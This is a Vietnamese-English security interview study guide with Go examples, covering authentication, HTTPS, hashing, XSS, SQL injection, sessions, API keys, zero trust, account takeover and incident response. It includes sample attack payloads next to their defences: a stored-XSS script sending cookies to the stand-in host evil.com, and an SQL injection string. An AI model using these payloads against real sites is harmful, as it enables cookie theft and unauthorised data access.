Security: Interview Questions & Big Picture
Phần này tổng hợp các câu hỏi phỏng vấn phổ biến về security, từ basic đến advanced. Mục tiêu không chỉ là trả lời đúng mà còn demonstrate security mindset và understanding về trade-offs.
💡 Interview tip: Khi trả lời security questions, luôn mention trade-offs giữa security, usability, và performance.
Level 1: Fundamentals (Junior/Mid)
Q1: Phân biệt Authentication vs Authorization
Answer:
Authentication (AuthN):
- "Bạn là ai?"
- Verify identity (username/password, biometrics, MFA)
- Happens FIRST
- Failure → 401 Unauthorized
Authorization (AuthZ):
- "Bạn có quyền làm việc này không?"
- Check permissions after authentication
- Happens SECOND
- Failure → 403 Forbidden
Example:
- Alice logs in với password → Authentication ✅
- Alice tries to delete Bob's post → Authorization check
- If Alice is admin → Allow ✅
- If Alice is regular user → Deny ❌ (403)
Follow-up: "Design authentication flow cho một ứng dụng web."
Q2: HTTPS hoạt động như thế nào?
Answer:
1. TLS Handshake:
- Client gửi supported ciphers
- Server chọn cipher + gửi certificate
- Client verify certificate (signed by trusted CA?)
2. Key Exchange:
- Client generate random "pre-master secret"
- Encrypt với server's public key (from certificate)
- Send to server
3. Both sides derive session key (symmetric):
- Fast AES encryption for actual data
4. Encrypted communication:
- All data encrypted với session key
Key points:
- Certificate proves server identity (prevent MITM)
- Asymmetric crypto (RSA/ECC) for key exchange
- Symmetric crypto (AES) for data (faster)
Follow-up: "Tại sao không dùng asymmetric encryption cho tất cả data?"
→ Too slow. RSA ~1000x slower than AES.
Q3: Tại sao không nên dùng MD5 cho password?
Answer:
Problems với MD5:
- Too fast: Attacker có thể hash billions passwords/second với GPU
- Collision attacks: Có thể tìm 2 inputs khác nhau cho cùng hash
- Rainbow tables: Pre-computed hashes for common passwords
Correct approach:
// ❌ MD5
hash := md5.Sum([]byte(password))
// ✅ bcrypt (slow by design)
hash, _ := bcrypt.GenerateFromPassword([]byte(password), 12)
// Cost=12 → ~0.3 seconds per hash
// → Brute-force 1M passwords = 3.5 days (not seconds!)
Key differences:
| MD5/SHA256 | bcrypt/argon2 | |
|---|---|---|
| Speed | ⚡ Fast | 🐌 Slow (intentionally) |
| Salt | Manual | Automatic |
| Work factor | Fixed | Tunable (increase over time) |
| Use case | Checksums | Passwords |
Q4: XSS là gì và cách prevent?
Answer:
XSS (Cross-Site Scripting): Attacker inject malicious JavaScript vào website.
Types:
Stored XSS: Script lưu trong DB
Comment: <script>fetch('http://evil.com?cookie='+document.cookie)</script>Reflected XSS: Script trong URL
/search?q=<script>alert('XSS')</script>DOM-based XSS: JavaScript modifies DOM unsafely
elem.innerHTML = userInput; // 🔥 Dangerous
Prevention:
Output encoding:
// ❌ Vulnerable fmt.Fprintf(w, "<h1>%s</h1>", userInput) // ✅ Safe tmpl := template.Must(template.New("page").Parse("<h1>{{.}}</h1>")) tmpl.Execute(w, userInput) // Auto-escapesContent Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.comHttpOnly cookies:
http.SetCookie(w, &http.Cookie{ HttpOnly: true, // Prevent JavaScript access })
Q5: SQL Injection và cách prevent?
Answer:
Attack:
// 🔥 Vulnerable
query := "SELECT * FROM users WHERE email = '" + email + "'"
// email = "' OR '1'='1' --"
// → SELECT * FROM users WHERE email = '' OR '1'='1' --'
// → Returns ALL users!
Prevention:
Parameterized queries:
// ✅ Safe db.QueryRow("SELECT * FROM users WHERE email = ?", email)ORM (but be careful):
var user User db.Where("email = ?", email).First(&user) // ✅ Safe // 🔥 Still vulnerable db.Where(fmt.Sprintf("email = '%s'", email)).First(&user)Input validation:
if !isValidEmail(email) { return errors.New("invalid email") }
Key point: NEVER concatenate user input into SQL queries.
Level 2: Practical Security (Mid/Senior)
Q6: Design authentication system cho mobile app
Answer:
Requirements:
- Secure token storage
- Short-lived access tokens
- Long-lived refresh tokens
- Logout capability
Design:
┌─────────────────────────────────────────────────┐
│ 1. Login Flow │
└─────────────────────────────────────────────────┘
Mobile App Server
│ │
│ POST /login │
│ {email, password} │
├─────────────────────────────────►│
│ │ Verify credentials
│ │ Generate tokens:
│ │ - Access token (15 min JWT)
│ │ - Refresh token (30 days, in DB)
│ │
│ {access_token, refresh_token} │
│◄─────────────────────────────────┤
│ │
│ Store in Keychain (iOS) │
│ or EncryptedSharedPreferences │
│ (Android) │
┌─────────────────────────────────────────────────┐
│ 2. API Request Flow │
└─────────────────────────────────────────────────┘
│ GET /api/profile │
│ Authorization: Bearer <access_token>
├─────────────────────────────────►│
│ │ Verify token
│ {user_data} │
│◄─────────────────────────────────┤
┌─────────────────────────────────────────────────┐
│ 3. Token Refresh Flow │
└─────────────────────────────────────────────────┘
│ GET /api/profile │
│ Authorization: Bearer <expired_token>
├─────────────────────────────────►│
│ 401 Unauthorized │
│◄─────────────────────────────────┤
│ │
│ POST /refresh │
│ {refresh_token} │
├─────────────────────────────────►│
│ │ Verify refresh token (check DB)
│ │ Generate new access token
│ {access_token} │
│◄─────────────────────────────────┤
│ │
│ Retry GET /api/profile │
│ with new token │
Key decisions:
Why JWT for access token?
→ Stateless, no DB lookup on every requestWhy store refresh token in DB?
→ Can revoke immediately (logout, security breach)Why different expiry times?
→ Security (short access window) + UX (don't force re-login daily)Secure storage:
- iOS: Keychain
- Android: EncryptedSharedPreferences
- NOT: UserDefaults/SharedPreferences (plaintext)
Q7: Rate limiting strategy cho API
Answer:
Multiple layers:
┌────────────────────────────────────────────────┐
│ Layer 1: Global Rate Limit │
│ 100,000 requests/minute across all users │
└────────────────────────────────────────────────┘
│
▼
┌────────────────────────────────────────────────┐
│ Layer 2: Per-IP Rate Limit │
│ 1,000 requests/minute per IP │
│ → Prevent single IP from overwhelming │
└────────────────────────────────────────────────┘
│
▼
┌────────────────────────────────────────────────┐
│ Layer 3: Per-User Rate Limit │
│ 100 requests/minute per authenticated user │
│ → Prevent abuse by single account │
└────────────────────────────────────────────────┘
│
▼
┌────────────────────────────────────────────────┐
│ Layer 4: Per-Endpoint Rate Limit │
│ Expensive endpoints (e.g., search): 10/min │
│ Cheap endpoints (e.g., GET profile): 100/min │
└────────────────────────────────────────────────┘
Implementation (Token Bucket with Redis):
func checkRateLimit(userID string, limit int, window time.Duration) (bool, error) {
ctx := context.Background()
key := fmt.Sprintf("ratelimit:%s", userID)
// Increment counter
count, err := rdb.Incr(ctx, key).Result()
if err != nil {
return false, err
}
// Set expiry on first request
if count == 1 {
rdb.Expire(ctx, key, window)
}
return count <= int64(limit), nil
}
// Middleware
func rateLimitMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
userID := getUserID(r)
allowed, _ := checkRateLimit(userID, 100, 1*time.Minute)
if !allowed {
w.Header().Set("Retry-After", "60")
http.Error(w, "Rate limit exceeded", 429)
return
}
next.ServeHTTP(w, r)
})
}
Response headers:
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 73
X-RateLimit-Reset: 1234567890
Q8: Secure session management
Answer:
Good practices:
Generate strong session IDs:
// ✅ Cryptographically random b := make([]byte, 32) rand.Read(b) sessionID := base64.URLEncoding.EncodeToString(b) // ❌ Predictable sessionID := fmt.Sprintf("%d", time.Now().Unix())Secure cookie attributes:
http.SetCookie(w, &http.Cookie{ Name: "session_id", Value: sessionID, HttpOnly: true, // Prevent XSS Secure: true, // HTTPS only SameSite: http.SameSiteStrictMode, // CSRF protection MaxAge: 3600, // 1 hour Path: "/", })Regenerate session ID on privilege change:
func handleLogin(w http.ResponseWriter, r *http.Request) { // ... verify credentials ... // Delete old session oldSessionID := getSessionID(r) sessionStore.Delete(oldSessionID) // Generate NEW session ID newSessionID := generateSessionID() sessionStore.Create(newSessionID, userID) // Set new cookie setSessionCookie(w, newSessionID) }Idle timeout + absolute timeout:
type Session struct { UserID int64 CreatedAt time.Time LastActive time.Time } func validateSession(sessionID string) (*Session, error) { session := sessionStore.Get(sessionID) // Absolute timeout: 24 hours from creation if time.Since(session.CreatedAt) > 24*time.Hour { return nil, errors.New("session expired") } // Idle timeout: 30 min since last activity if time.Since(session.LastActive) > 30*time.Minute { return nil, errors.New("session inactive") } // Update last active session.LastActive = time.Now() sessionStore.Update(sessionID, session) return session, nil }
Q9: Securing API keys
Answer:
Best practices:
Prefix keys (identify leaked keys):
// sk_live_abc123xyz... → production secret key // pk_test_def456uvw... → test public keyStore hashed (like passwords):
func createAPIKey(userID int64) (string, error) { // Generate key key := "sk_live_" + generateRandomString(32) // Hash for storage hash := hashAPIKey(key) // Store hash in DB db.Exec("INSERT INTO api_keys (user_id, key_hash) VALUES (?, ?)", userID, hash) // Return plaintext ONCE (like password) return key, nil } func hashAPIKey(key string) string { hash := sha256.Sum256([]byte(key)) return hex.EncodeToString(hash[:]) }Scopes/Permissions:
type APIKey struct { Hash string UserID int64 Scopes []string // ["read:users", "write:posts"] } func requireScope(scope string) func(http.Handler) http.Handler { return func(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { apiKey := getAPIKeyFromRequest(r) if !contains(apiKey.Scopes, scope) { http.Error(w, "Insufficient permissions", 403) return } next.ServeHTTP(w, r) }) } }Rotation mechanism:
// Allow multiple keys (one primary + backup during rotation) type APIKey struct { ID int64 Hash string UserID int64 ExpiresAt *time.Time Revoked bool } // User can create new key while old one still works // Then revoke old key after migrating clientsRate limiting per key:
allowed := checkRateLimit("apikey:"+apiKeyID, 1000, 1*time.Hour)
Level 3: Advanced Security (Senior/Staff)
Q10: Design Zero Trust architecture cho microservices
Answer:
Core principles:
1. Never trust, always verify
2. Assume breach (minimize blast radius)
3. Verify explicitly (every request)
4. Least privilege access
5. Audit everything
Architecture:
┌───────────────────────────────────────────────────┐
│ Traditional: Trust internal network │
│ ┌─────────────────────────────────┐ │
│ │ Firewall │ │
│ │ ┌───────────────────────────┐ │ │
│ │ │ Internal Network │ │ │
│ │ │ (All services trust │ │ │
│ │ │ each other) │ │ │
│ │ └───────────────────────────┘ │ │
│ └─────────────────────────────────┘ │
│ Problem: If attacker gets in → full access │
└───────────────────────────────────────────────────┘
┌───────────────────────────────────────────────────┐
│ Zero Trust: Verify every request │
│ │
│ ┌────────┐ mTLS ┌────────┐ mTLS ┌────────┐ │
│ │Service ├───────►│Service ├────────►Service │ │
│ │ A │ verify │ B │ verify │ C │ │
│ └────────┘ identity└────────┘ identity└───────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌────────────────────────────────────────────┐ │
│ │ Policy Engine (OPA, Istio AuthZ) │ │
│ │ - Check if A can call B │ │
│ │ - Check scopes/permissions │ │
│ │ - Log all access │ │
│ └────────────────────────────────────────────┘ │
└───────────────────────────────────────────────────┘
Implementation components:
Service Identity (SPIFFE/SPIRE):
Each service gets unique identity: spiffe://prod.example.com/service-a spiffe://prod.example.com/service-bMutual TLS:
# Istio: Enforce mTLS apiVersion: security.istio.io/v1beta1 kind: PeerAuthentication metadata: name: default spec: mtls: mode: STRICTAuthorization policies:
# Only service-a can call service-b apiVersion: security.istio.io/v1beta1 kind: AuthorizationPolicy metadata: name: service-b-authz spec: selector: matchLabels: app: service-b rules: - from: - source: principals: ["cluster.local/ns/default/sa/service-a"] to: - operation: methods: ["GET", "POST"]Network segmentation:
# Kubernetes Network Policy apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: deny-all-default spec: podSelector: {} policyTypes: - Ingress - Egress # Then explicitly allow needed connectionsAudit logging:
func auditServiceCall(from, to, action, result string) { log.Info("service-call", "from_service", from, "to_service", to, "action", action, "result", result, "timestamp", time.Now(), ) }
Benefits:
- Breach in service-a doesn't compromise service-b
- Can detect anomalies (service-a suddenly calling service-z)
- Audit trail for compliance
Q11: How to detect and prevent account takeover?
Answer:
Multi-layered defense:
Strong authentication:
- MFA required for sensitive actions
- Rate limit login attempts
- Account lockout after N failures
Behavioral analysis:
type LoginAttempt struct { UserID int64 IP string Location string UserAgent string Timestamp time.Time Success bool } func detectSuspiciousLogin(attempt LoginAttempt) bool { // Get user's typical behavior profile := getUserProfile(attempt.UserID) // Check for anomalies if !profile.UsualLocations.Contains(attempt.Location) { // Login from new country return true } if !profile.UsualDevices.Contains(attempt.UserAgent) { // New device return true } // Impossible travel (logged in from US 1 hour ago, now from China) lastLogin := getLastSuccessfulLogin(attempt.UserID) distance := calculateDistance(lastLogin.Location, attempt.Location) timeDiff := attempt.Timestamp.Sub(lastLogin.Timestamp).Hours() if distance/timeDiff > 1000 { // > 1000 km/h return true } return false }Credential stuffing protection:
// Check password against leaked databases func isPasswordCompromised(password string) bool { hash := sha1.Sum([]byte(password)) prefix := hex.EncodeToString(hash[:2]) // First 5 chars // Query Have I Been Pwned API (k-anonymity) resp := httpGet("https://api.pwnedpasswords.com/range/" + prefix) return contains(resp, hash) }Session management:
// Show active sessions to user type ActiveSession struct { SessionID string IP string Location string Device string LastActive time.Time } // Allow user to revoke sessions func revokeSession(userID int64, sessionID string) { // Delete from session store sessionStore.Delete(sessionID) // Audit log auditLog("SESSION_REVOKED", userID, sessionID) }Step-up authentication:
func requireRecentAuth(w http.ResponseWriter, r *http.Request) { lastAuth := getLastAuthTime(r) // For sensitive actions, require re-auth within 5 minutes if time.Since(lastAuth) > 5*time.Minute { http.Error(w, "Re-authentication required", 403) return } } // Usage func deleteAccountHandler(w http.ResponseWriter, r *http.Request) { requireRecentAuth(w, r) // ... proceed with delete }
Q12: Incident response plan cho security breach
Answer:
Phases:
1. PREPARATION → 2. DETECTION → 3. CONTAINMENT → 4. ERADICATION → 5. RECOVERY → 6. LESSONS LEARNED
1. Preparation (before breach):
- Security monitoring/alerts in place
- Incident response team defined
- Communication plan (who to notify)
- Backup & restore procedures tested
2. Detection:
Indicators of compromise:
- Unusual API traffic patterns
- Failed login spikes
- Data exfiltration (large downloads)
- Privilege escalation attempts
- New admin accounts created
3. Containment:
Short-term:
- Isolate compromised services (network policies)
- Revoke compromised credentials
- Block attacker IPs
- Rate limit aggressively
Long-term:
- Patch vulnerabilities
- Rotate all secrets
- Review access controls
4. Eradication:
- Remove malware/backdoors
- Close security holes
- Verify no persistence mechanisms
5. Recovery:
- Restore from clean backups
- Monitor for re-infection
- Gradual return to normal operations
6. Post-mortem:
## Incident Post-Mortem
### What happened?
SQL injection in /api/users endpoint → attacker accessed user data
### Timeline
- 10:00 AM: Attack began (detected by alert spike)
- 10:15 AM: Confirmed breach
- 10:30 AM: Isolated affected service
- 11:00 AM: Patched vulnerability
- 2:00 PM: Restored service
### Root cause
- No input validation on search parameter
- Used string concatenation for SQL query
### What went well?
- Detected within 15 minutes (good monitoring)
- Quick isolation (network policies)
### What went wrong?
- Vulnerability existed for 6 months (code review gap)
- No WAF in front of API
### Action items
- [ ] Implement input validation library
- [ ] Add WAF (Cloudflare/AWS WAF)
- [ ] Security code review for all endpoints
- [ ] Automated security scanning in CI/CD
- [ ] Security training for developers
Big Picture Questions
Q13: Security vs Usability tradeoff
Example: "Should we require 20-character passwords?"
Answer:
┌─────────────────────────────────────────────────┐
│ Too Secure → Unusable │
│ - 30-char password with special chars │
│ - Re-auth every 5 minutes │
│ - No password recovery │
│ → Users write passwords on sticky notes │
└─────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────┐
│ Too Usable → Insecure │
│ - 4-digit PIN │
│ - No session timeout │
│ - Password reset with just email │
│ → Easy to compromise │
└─────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────┐
│ Balanced Approach │
│ - 12-char password OR passkey (better UX) │
│ - MFA for sensitive actions only │
│ - Session timeout: 30 min idle, 24h absolute │
│ - Password reset: email + SMS code │
│ → Secure enough + acceptable UX │
└─────────────────────────────────────────────────┘
Framework for decision:
- Risk assessment (what's at stake?)
- User impact (how annoying is this?)
- Alternatives (is there less painful solution?)
Example:
- Banking app → High risk → Require MFA ✅
- Casual game → Low risk → Optional MFA ✅
Q14: Cost của security
Answer:
Security không free — cần balance cost vs benefit:
┌────────────────────────────────────────────────┐
│ Direct Costs │
├────────────────────────────────────────────────┤
│ - Security tools (WAF, SIEM, scanners) │
│ - Personnel (security engineers) │
│ - Compliance audits (SOC 2, ISO 27001) │
│ - Incident response │
└────────────────────────────────────────────────┘
┌────────────────────────────────────────────────┐
│ Indirect Costs │
├────────────────────────────────────────────────┤
│ - Development velocity (security reviews) │
│ - Operational overhead (key rotation) │
│ - User friction (MFA, CAPTCHA) │
└────────────────────────────────────────────────┘
┌────────────────────────────────────────────────┐
│ Cost of Breach (much higher!) │
├────────────────────────────────────────────────┤
│ - Data loss/theft │
│ - Fines (GDPR: up to 4% revenue) │
│ - Reputation damage │
│ - Customer churn │
│ - Legal fees │
└────────────────────────────────────────────────┘
ROI calculation:
Prevent breach costs:
Security tools: $100K/year
Security team: $500K/year
Total: $600K/year
Average breach cost (industry): $4.5M
Probability of breach without security: 30%/year
Expected loss: $4.5M * 0.3 = $1.35M/year
ROI: ($1.35M - $600K) / $600K = 125%
Trade-offs by company stage:
- Startup: Focus on auth, input validation, HTTPS (high ROI, low cost)
- Growth: Add MFA, secret management, monitoring
- Enterprise: Full security program (SOC 2, pen tests, security team)
Tóm tắt
Core Security Principles
- Defense in Depth: Multiple security layers
- Least Privilege: Minimum access needed
- Fail Securely: Errors → deny access
- Zero Trust: Never trust, always verify
- Security by Design: Not an afterthought
Common Interview Topics
- Authentication/Authorization mechanisms
- Crypto basics (hashing, encryption, signatures)
- OWASP Top 10 vulnerabilities
- Secure coding practices
- API security (rate limiting, auth)
- Distributed systems security (mTLS, service mesh)
- Incident response
How to Prepare
- Understand fundamentals: Don't just memorize
- Practice explaining: Security concepts to non-technical people
- Know trade-offs: Security vs usability vs cost
- Real-world experience: Implement security features, not just read about them
- Stay updated: Follow security blogs, CVEs
Bước tiếp theo
Deep dives:
owasp-and-common-vulns.md— Vulnerabilities chi tiếtauth/— Authentication/Authorization deep divecrypto-basics.md— Cryptography fundamentalsdistributed-systems-security.md— mTLS, service mesh
Practice:
- HackTheBox, picoCTF, OWASP WebGoat
- Bug bounty programs (read reports)
- Security Code Review exercises
Further reading:
- "The Web Application Hacker's Handbook"
- "Security Engineering" by Ross Anderson
- OWASP Cheat Sheet Series
- NIST Cybersecurity Framework